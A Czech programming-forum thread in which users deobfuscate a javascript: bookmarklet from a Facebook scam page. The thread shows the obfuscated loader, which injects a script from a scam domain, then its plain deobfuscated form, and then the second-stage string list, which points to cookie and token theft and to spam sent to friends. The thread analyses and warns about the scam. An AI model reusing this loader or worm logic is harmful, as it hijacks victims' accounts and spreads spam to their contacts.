Autor Zpráva
Darker
Profil
Náhodou (i když zas taková náhoda to ze statistického hlediska nebyla) jsem narazil na velice podivnou podvodnickou stránku o facebooku, která vám slibuje nějaké nesmysly, když spustíte na facebooku jejich javascript.

Docela by mě zajímalo, co ten skript doopravdu udělá, sám jsem na to nepřišel.
javascript:var _0xc52e=["\x73\x72\x63","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x2F\x2F\x31\x31\x31\x39\x39\x39\x39\x39\x37\x37\x75\x37\x2E\x69\x6E\x66\x6F\x2F\x65\x2E\x6A\x73","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x62\x6F\x64\x79"];
(a=(b=document)[_0xc52e[2]](_0xc52e[1]))[_0xc52e[0]]=_0xc52e[3];b[_0xc52e[5]][_0xc52e[4]](a); 
void (0);

Určitě nic pěkného, jestli to vůbec funguje.
johnl
Profil
Darker:
Nevím jestli je to to samé, ale kdysi jsem narazil na kód (který vypadal hodně podobně) a ten po spuštění vložil na zeď několika přátel spam (odkaz na ten web či tak něco).. :))
ShiraNai7
Profil
Nastaví proměnnou _0xc52e na toto:
["src", "script", "createElement", "//1119999977u7.info/e.js", "appendChild", "body"]


Co se stane pak je jasné :) Vloží se další skript do stránky z jejich domény.
A ten dělá něco s přáteli, píše jim na zeď nebo něco takového :)

["Hey %firstname% I just... http://stump.ws/rdgct7", "%tf% %tf% %tf% %tf% %tf... http://stump.ws/rdgct7", "http://www.1119999977u7.info/end.php", "yo , I learned a way to... http://stump.ws/rdgct7", "See Who Has Viewed Your Profile!", "You should really check this out. It really works!", "This is the new code th...has been talking about!", "href", "location", "top", "GET", "open", "onreadystatechange", "readyState", "status", "responseText", "send", "/", "match", "cookie", "@[", "id", ":", "name", "]", "", "&", "=", "POST", "Content-Type", "application/x-www-form-urlencoded", "setRequestHeader", "div", "createElement", "display", "style", "block", "position", "absolute", "width", "%", "height", "left", "px", "textAlign", "center", "padding", "4px", "background", "#FFFFFF", "zIndex", "innerHTML", "&nbsp;<br/>Please wait,...s may be less accurate)", "appendChild", "body", "data", "firstChild", "navAccountName", "getElementById", "?", "/ajax/choose/?__a=1", "event", "AsyncRequest", "/ajax/typeahead/first_degree.php?__a=1&viewer=", "&token=", "&filter[0]=user&options...m&options[2]=sort_alpha", "length", "push", "getTime", "setTime", "getMonth", "getDate", "getFullYear", "getHours", ",", "join", "on", "Create Event", "new", "/events/create.php", "/ajax/chat/buddy_list.php?__a=1", "substr", "(", ")", "buddy_list", "payload", "nowAvailableList", "random", "floor", "%firstname%", "toLowerCase", "firstName", "userInfos", "replace", "/ajax/chat/send.php?__a=1", "/ajax/browser/friends/?uid=", "&filter=all&__a=1&__d=1", "shift", "fetched friends: ", "home", "pop", "%tf%", "search", "xhpc_message_text", "xhpc_message", "message text: ", "/ajax/updatestatus.php?__a=1", "profile"]
Darker
Profil
ShiraNai7:
Co se stane pak je jasné :)
Jistě, ale jak se to stane? Netuším, jak se script z proměnné _0xc52e spustí. Nikde žádné eval, ani function.
ShiraNai7
Profil
Darker:

Je to nesrozumitelné, protože javascript umožnuje více operací s návratovou hodnotou, než třeba PHP. Jsou tam použity proměnné názvy funkcí a proměnných.

Skript dělá následující
1) dosadí do proměnné "b" objekt "document"
2) dosadí do proměnné "a" výsledek volání funkce createElement s parametrem "script" (volá se na objektu "document")
3) změní vlastnost "src" objektu "a" (což je element "script") na adresu skriptu na vzdálené doméně
4) zavolá funkci "appendChild" s argumentem "a" na document.body, čímž vloží skript do stránky

Když si dosadíš za proměnné dané hodnoty a rozřádkuješ, uvidíš to lépe:
(a=(b=document)["createElement"]("script"))["src"]="//1119999977u7.info/e.js";
b["body"]["appendChild"](a); 


A když to rozepíšu normálně, tak takto:
b = document;
a = document.createElement("script");
a.src = "//1119999977u7.info/e.js";
b.body.appendChild(a);
Lupa
Profil
No, mám Google Chrome a mne vypísalo len:
Varovanie! Podozrenie na phishingovú stránku! Ja by som tam vôbec nechodil...
Darker
Profil
Lupa:
Ja by som tam vôbec nechodil...
Chytrý to chlapec.
Moucha
Profil *
Když už jsem na to kliknul, jak se toho mám zbavit? Vůbec mi nejde se přihlásit na můj facebook account :(

Vaše odpověď

Mohlo by se hodit

Neumíte-li správně určit příčinu chyby, vkládejte odkazy na živé ukázky.
Užíváte-li nějakou cizí knihovnu, ukažte odpovídajícím, kde jste ji vzali.

Užitečné odkazy:

Prosím používejte diakritiku a interpunkci.

Ochrana proti spamu. Napište prosím číslo dvě-sta čtyřicet-sedm:

0